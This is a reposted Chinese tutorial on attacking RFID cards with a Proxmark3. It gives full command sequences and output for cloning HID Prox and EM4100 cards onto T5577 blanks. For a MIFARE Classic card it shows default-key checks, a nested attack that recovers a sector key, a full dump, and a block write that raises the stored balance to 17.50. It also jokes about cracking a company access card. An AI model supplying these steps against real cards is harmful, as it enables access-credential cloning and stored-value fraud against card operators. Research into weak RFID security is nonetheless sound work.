智能卡破解入门二三事(转载)


随着智能设备NFC功能的普及,用RFID卡支付现金的模式也越加流行。现在的非接触式卡片(包括但不限于社保卡、饭卡、交通卡、门禁卡等)都是使用的RFID技术。

这么看来射频识别技术(RFID)是一个应用相当广泛的技术,智能卡通常会被做成小钥匙扣、卡片以及贴纸的样子。你可以在很多不同的系统设备中看到它出现的影子,而且往往都是与取款以及门禁系统有关。我对无线技术十分感兴趣,尤其对射频识别技术系统感兴趣,所以当我研究HIDiClass系统时,我就入手了一个proxmark3。

proxmark3

Proxmark3是由JonathanWesthues设计开发的开源硬件,其主要用途是实现RFID的嗅探、读取以及克隆等等操作。Proxmark3主要是针对RFID而开发的工具,虽然也有一些其它的工具,但Proxmark3属于主流工具。它可以嗅探、模拟以及读取多种不同种类型的RFID,同时它还有一个官方社区,这里有不少同样的爱好者在里面学习交流。

购买Proxmark

在Proxmark官网上已经列出了一些供应商,你可以在里面选择一个供应商进行购买。我购买了ProxmarkRDV2,它虽不是开源版本,但却是在初始版本的改进版。值得注意的是,我购买的版本更小巧,同时可以用电池对设备供电,支持MMCX,而非USB接口。

当然你也可以在不同的网站购买设备,你可以去美国网站RyscCorp上购买,或就近在香港购买,但需要248美元,如果RyscCorp上购买则需要299美元(不含运费)。而实际上我在购买ProxmarkRDV2基本上也就需要212.00美元,美国运送费用为36.30美元(随运送距离不同费用也会越高),合计为248.30美元。

如果你仔细研究会发现,通过AliExpress网站购买,可以省下一大笔钱,花费在190美元(包邮),就性价比来说,甚至比“Proxmark3Easy”更便宜。

PM3Easy是Proxmark系列中相对较便宜的版本,售价约为100美元,但却阉割了一些功能,这个版本仅针对中国国内市场的版本,因此删除了一些功能,删掉的功能如下:

想了解更多相关内容可以访问Proxmark官方论坛

总的来说,Proxmark3的原始版本设计已经过时,你应该使用新版本的硬件设计。

Proxmark3配置

在硬件方面,根据你具体使用Proxmark3(以下简称PM3)型号的不同,配置方式也大不相同。原始版本PM3外接USB天线,你可以随意插拔,但在RDV2上就不能这样操作,首先你必须要连接MMCX,之后才可以使用RDV2,就相当于你需要将这一块加入主体,即将天线模块安装进主板中。我没有这样做,而是用胶将MMCX以及天线粘黏到板子上。

完成上部分操作之后,你就可以按照PM3说明文档进行配置固件,据我了解可知,Proxmarks很它使用相同的固件,因此在软件配置及操作上不会有太大区别。

我下面的配置并没有涉及完整的软件配置,我做到的也仅仅是说明中的一部分。在某些时候,出于性能上的考虑,PM3会将USB接口转化为串行接口,同时使用串行接口可以解决在虚拟机中运行问题。

如果你决定在虚拟机进行操作,那么在Linux会上运行会比Windows更好一些,这一点上我不会做出太多说明,但我在后面文章中使用PM3用户界面时,明显效果更好一些。我在虚拟机中安装Windows7,或可将GUI(Linux)作为PM3用户界面。总的来说,烧写PM3固件可能是一个烦人的过程,但你真的需要做那么一两次。

RFID技术

在美国有许多常见的RFID认证技术,我下面列举在日常生活参见的四个:

对于一些不清楚的RFID电子标签以及RFID卡,我们将尝试克隆/修改每个标签的内容。首先我们需要弄清楚每张卡片背后的技术是什么。一般来说,您可以搜集序列号,制造商信息和数据表单信息,然后通过网络查询研究这些信息。PM3可以可以使用指令lfsearch、hfsearch查询,这两个命令将分别在低频(125kHz)和高频(13.56MHz)范围内搜索可用电子标签。

HIDProxCard

我们来看看更受欢迎的HIDProxCard

在卡的正面有一些数字以及单词(HIDProximity),如果你去网上搜索,你可以发现这是一张HIDProx卡,可以通过Proxmark指令克隆一张卡。

我们可以使用lfsearch指令搜索前文提到的电子标签

proxmark3lfsearchDownloadFPGA(len:42096)Reading30000bytesfromdevicememoryDatafetchedSamples@8bits/smpl,decimation1:1NOTE:somedemodsoutputpossiblebinaryifitfindssomethingthatlookslikeatagFalsePositivesAREpossibleCheckingforknowntags:HIDProxTAGID:2004263f88(8132)-FormatLen:26bit-FC:19-Card:8132ValidHIDProxIDFound!

我们很清楚这是一张Prox卡,如果需要将当前卡系统从HIDProx升级到HIDiCLASS凭证,就需要特殊指令,我们现在已经知道标签ID(2004263f88),但我可以输入lfhidfskdemod指令读取智能卡(按下PM3上的按钮停止扫描)

proxmark3lfhidfskdemodTAGID:2004263f88(8132)-FormatLen:26bit-FC:19-Card:8132Stopped

该ID标签(19)以及卡ID(8132)的编码,你可以在线使用韦根协议(26位)计算器检查一下。这就意味着你需要了解数据并克隆到卡上(写入到卡本身)。

大多数低频电子标签没有任何复杂的认证方案或任何防止重放攻击的保护,所以扫描现有的智能卡,并克隆一张,并不是一件难事。使用高功率读卡器,可以在距离较远的位置窃取RFID电子标签。

我现在已经知道标签ID,现在需要一张空白的RFID卡,我们可以克隆标签ID。最好是t5577卡,它可以复制多种低频智能卡,包括这里讨论的两个(HIDProx卡,EM41000卡)。

我已经了解到标签ID,那么就可以很轻松的克隆一张卡

proxmark3lfhidclone2004263f88CloningtagwithID2004263f88DONE!

现在T5577卡电子标签应该与被克隆卡标签一致,成功了!!

除了读写操作之外,PM3还能够模拟RFID电子标签,但可能没有你想象的那么直观,你需要将计算机连接到PM3上,并执行一些指令,这对渗透测试者有帮助,但读写操作适用于绝大多数使用者。

EM4100

EM4100卡不像HIDProx卡那样常见,但不代表它不会出现,PM3功能同样适用于它。

我们继续使用lf搜索命令

proxmark3lfsearchDownloadFPGA(len:42096)Reading30000bytesfromdevicememoryDatafetchedSamples@8bits/smpl,decimation1:1NOTE:somedemodsoutputpossiblebinaryifitfindssomethingthatlookslikeatagFalsePositivesAREpossibleCheckingforknowntags:EM410xpatternfound:EMTAGID:8800180E55UniqueTAGID:11001870AAPossiblede-scramblepatternsHoneyWellIdentKey{DEZ8:01576533DEZ10:0001576533:00024.03669:136.03669:000.03669:024.03669DEZ14/IK2:00584117128789DEZ15/IK3:000073016045738DEZ20/ZK:01010000010807001010}Other:03669_024_01576533PatternPaxton:2284604501[0x882C4C55]Pattern1:4457436[0x4403DC]PatternSebury:3669241576533[0xE550x180x180E55]ValidEM410xIDFound!

这是一张EM4100卡,我可以使用更多的EM4100RFID指令,读取标签ID

proxmark3lfem4xem410xdemod1DownloadFPGA(len:42096)EMTAGID:8800180e55-(03669_024_01576533)

获取标签ID之后,写入到一张T5577卡中

proxmark3lfem4xem410xwrite8800180e551WritingT55x7tagwithUID0x8800180e55(clockrate:64)StartedwritingT55x7tagClockrate:64TagT55x7writtenwith0xffc62000e20ea94e

大多数低频RFID电子标签破解适用于刚入门的新手,你仅需要了解读/写/克隆/仿真的玩法。

接下来,我们将看看一张更复杂但最终被破解的智能卡,MIFAREClassic协议的NFC卡(以下简称MIFARE卡)。

MIFAREClassic

NFCA协议是兼容MifareClassic协议的,我们可以通过NfcA在android的相关类来处理给予MifareClassic的RFID卡。MIFARE卡应用很广泛,它应用的领域也大不相同,如公交卡、干洗店洗衣卡、身份证,很不幸的一点就是,这样的卡也会被破解。

一般来说,给予MifareClassic的射频卡,一般内存大小有3种:

1K:16个分区(sector),每个分区4个块(block),每个块(block)16个byte数据

2K:32个分区,每个分区4个块(block),每个块(block)16个byte数据

4K:64个分区,每个分区4个块(block),每个块(block)16个byte数据

对于所有基于MifareClassic的卡来说,每个区最后一个块叫Trailer,16个byte,主要来存放读写该区的key,可以有A,B两个KEY,每个key长6byte,默认的key一般是FF或0,最后一个块的内存结构如下:

Block0Data16bytes

Block1Data16bytes

Block2Data16bytes

Block3Trailer16bytes

Trailer:

KeyA:6bytes

AccessConditions:4bytes

KeyB:6bytes

所以在写卡的内存的时候,一般不能写每个sector的最后一个block,除非你有要修改KEY和访问权限的需求。如果KEYA被你不小心修改掉了,而你不知道修改成什么,那与之对应的那个sector你就没有办法访问了。因为在MifareClassic中,如果你要读取数据,那么必须要有这个数据地址所在的sector的权限,这个权限就是这个sector的trailer的keyA或KEYB。下面我们将使用高频天线来读取高频MIFARE卡。

我开始使用hf指令搜索并识别MIFARE卡

proxmark3hfsearchDownloadFPGA(len:42096)UID:bc4ea535ATQA:0004SAK:08[2]TYPE:NXPMIFARECLASSIC1k|Plus2kSL1proprietarynoniso14443-4cardfound,RATSnotsupportedAnswerstochinesemagicbackdoorcommands:NOValidISO14443ATagFound-QuittingSearch

不幸的是,MIFARE卡不像之前的低频卡克隆那样容易,它利用简单的认证方式,阻止我们克隆UID。虽然我们可以从卡中读取某些块,但是由于“认证错误”,其它块并不可用:

成功读取

proxmark3hfmfrdbl0AFFFFFFFFFFFF--blockno:0,keytype:A,key:ffffffffffffREADBLOCKFINISHEDisOk:01data:0102030404080000000000

失败读取

proxmark3hfmfrdbl5AFFFFFFFFFFFF--blockno:5,keytype:A,key::00

起初发现这个问题,我觉得很奇怪,但很快发现前文提到的key,这是我在网上找到的资料。MIFAREClassic1K射频卡有1024字节可储存数据,同时分为分为16个扇区,每个扇区由两个不同的key保护(前文说明的A,B),出于某种原因,一些MIFARE卡仅使用默认key,这样就造成可以利用应用程序测试key,并针对卡进行测试。

PM3具有“测试key(块)”指令,它将测试我们的默认key。

proxmark3hfmfchk*?Nokeyspecified,tryingdefaultkeyschkdefaultkey[0]ffffffffffffchkdefaultkey[1]000000000000chkdefaultkey[2]a0a1a2a3a4a5chkdefaultkey[3]b0b1b2b3b4b5chkdefaultkey[4]aabbccddeeffchkdefaultkey[5]4d3a99c351ddchkdefaultkey[6]1a982c7e459achkdefaultkey[7]d3f7d3f7d3f7chkdefaultkey[8]714c5c886e97chkdefaultkey[9]587ee5f9350fchkdefaultkey[10]a0478cc39091chkdefaultkey[11]533cb6c723f6chkdefaultkey[12]8fd0a4f256e9--sector:0,block:3,keytype:A,keycount:13Foundvalidkey:[ffffffffffff]omittedforbrevity--sector:15,block:63,keytype:B,keycount:13Foundvalidkey:[ffffffffffff]

我可以使用默认key(ffffffffffff)读取大多数块,但有些没有包含在内。我可以使用“Nested攻击”,我们可以使用我们的一个可用的key来识别其它块的key。

=16nested-----------------------------------------------uid:bc4ea535trgbl=4trgkey=0Foundvalidkey:080808080808-----------------------------------------------uid:bc4ea535trgbl=8trgkey=0Foundvalidkey:080808080808Timeinnested:7.832(3.916secperkey)-----------------------------------------------Iterationscount:2|---|----------------|---|----------------|---||sec|keyA|res|keyB|res||---|----------------|---|----------------|---||000|ffffffffffff|1|ffffffffffff|1||001|080808080808|1|ffffffffffff|1||002|080808080808|1|ffffffffffff|1||003|ffffffffffff|1|ffffffffffff|1||004|ffffffffffff|1|ffffffffffff|1||005|ffffffffffff|1|ffffffffffff|1||006|ffffffffffff|1|ffffffffffff|1||007|ffffffffffff|1|ffffffffffff|1||008|ffffffffffff|1|ffffffffffff|1||009|ffffffffffff|1|ffffffffffff|1||010|ffffffffffff|1|ffffffffffff|1||011|ffffffffffff|1|ffffffffffff|1||012|ffffffffffff|1|ffffffffffff|1||013|ffffffffffff|1|ffffffffffff|1||014|ffffffffffff|1|ffffffffffff|1||015|ffffffffffff|1|ffffffffffff|1||---|----------------|---|----------------|---|

注意:在早期Nested攻击命令中,输入d(参数)将key转储到文件,才能够保证继续使用MIFARE卡其它指令。现在我们有一个新key,080808080808。该key允许我们读取隐藏块。

proxmark3hfmfrdbl5A080808080808--blockno:5,keytype:A,key:080808080808READBLOCKFINISHEDisOk:01data:000a0000fff5ffff000a000005fa05fa

文件已经准备好,我们可以转储整个卡的数据,并将其写入到空白的MIFARE卡上。

proxmark3hfmfdump1|-----------------------------------------||------Readingsectoraccessbits-----||-----------------------------------------|READBLOCKFINISHEDomittedforbrevityREADBLOCKFINISHED|-----------------------------------------||-----Dumpingallblockstofile-----||-----------------------------------------|(1024bytes)

借助文件,我们可以将此卡的内容还原到另一张卡上,输入命令:hfmfrestore1,然而,克隆一张MIFARE卡效率还是很低(totempole),使用新key,我就可以读写一张空白卡,这种卡通常被作为车票卡,一些人可能会想到是否可以修改里面的金额。先来看看卡中部分转存数据

bc4ea535628804008500b42ef0bb6aa0000000000000000000000000000000000000000000000000000000ffffffffffffff078069ffffffffffff4f544f5136000b000000004b070000b4f8ffff4b07000005fa05fa00000000010100000000000101000000

得到的数据不能解析,再次重复以上步骤,然后查看数据

bc4ea535628804008500b42ef0bb6aa0000000000000000000000000000000000000000000000000000000ffffffffffffff078069ffffffffffff4f544f5136000b0000000032050000cdfaffff3205000005fa05fa00000000010100000000000101000000

其中一行数据由

4b070000b4f8ffff4b07000005fa05fa

变为

32050000cdfaffff3205000005fa05fa

当时虽然没有立刻看明白这行数据意思,但已经明白卡上肯定存在一个可以变化的数值,最简单的一个假设是,卡正在存储金额,然后扣去交易额。我们的起始价值(7.75),一个项目的开支成本(2.25)和差值(5.50)。

我们可以将这些数据转为16进制,为了简化搜索,我们只需75,将其转换为十六进制(0x4b),然后搜索第一个转储数据值:

4b070000b4f8ffff4b07000005fa05fa

这样我就发现了卡存储金额的部分了,特别是考虑到以下字节0×07。因此,我们应该能够通过修改这些字节来增加我们卡的金额。

你可以不需要理解字节的详细含义,它们并不重复,在前面两次转储数据,可以看出没有什么规律,这一点上需要小心谨慎,用ffff(前文)替换我们的金额数值,仅需要重新将获取的数据写入智能卡中。

注意:有人指出其中两个数值b4f8和4b07加起来是ffff,其实这是校验和的数值,读卡者可以利用这个来确认卡的金额是否在交易完成后更新。

我已经将卡中数值更改到17.50,我们可以采取新的转储数据并保存第5块的结果(存储值)。

Block0:bc4ea535628804008500b42ef0bb6aa8Block1:00000000000000000000000000000000Block2:00000000000000000000000000000000Block3:ffffffffffffff078069ffffffffffffBlock4:4f544f5136000b00000000Block5:32110000cdeeffff3211000005fa05faBlock6:00000000010100000000000101000000

现在我们可以无限制将卡中数值更改到17.50。

写入(块)

proxmark3hfmfwrbl5A08080808080832110000cdeeffff3211000005fa05fa--blockno:5,keytype:A,key:080808080808--data:32110000cdeeffff3211000005fa05faWRITEBLOCKFINISHEDisOk:01

读出(块)

proxmark3hfmfrdbl5A080808080808--blockno:5,keytype:A,key:080808080808READBLOCKFINISHEDisOk:01data:32110000cdeeffff3211000005fa05fa

即使没有使用默认key,我们也可以嗅探真实的读卡器和卡之间的通信协议,并获取关键key。只要我们知道一个现有的key,我们就可以利用前文提到的nested攻击识别其它key来获取对该卡的读/写访问。

结论

通过从事多年RFID卡系统的安全研究,我得出一个结论,Proxmark3可以说是研究RFID卡系统的最佳工具,并在研究过程中可以学习到很多相关知识。如果你有兴趣克隆RFID卡并了解这些系统的工作原理,我非常建议您选择ProxMark3和T5577卡。当然你也可以将公司的门禁卡破解之后做成一把属于自己的小钥匙,这件事看起来也是比较有趣的。

发布于 2025-05-16
49
目录

    推荐阅读